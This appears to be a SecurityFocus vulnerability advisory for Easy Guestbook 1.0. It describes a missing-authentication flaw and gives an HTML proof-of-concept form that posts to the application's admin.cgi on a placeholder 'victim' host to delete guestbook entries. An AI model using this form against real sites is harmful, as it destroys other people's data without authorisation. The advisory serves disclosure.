source: http://www.securityfocus.com/bid/5341/info

The vulnerability has been reported for Easy Guestbook 1.0. It is possible for an atttacker to modify any user's guestbook by deleting entries. The vulnerability is the result of Guestbook failing to properly authenticate users who wish to edit guestbooks. 

<html>
<body>
<h1>Easy Guestbook v1.0 Vulnerabilities</h1>
<form method="POST" action="http://victim/guestbook/admin.cgi">
Delete No. of Entries in Guestbook: <input type="text" value="" name="function" size="5"> <input type="submit" value="Delete Message" name="delete_message" style="font-size: 10pt; font-family: verdana; font-weight: bold"><br><hr>
Open Administration Guestbook: <input type="submit" value="Back to Admin" name="back_to_admin" style="color: #800080; fo
nt-weight: bold">
</form>
</body>
</html> 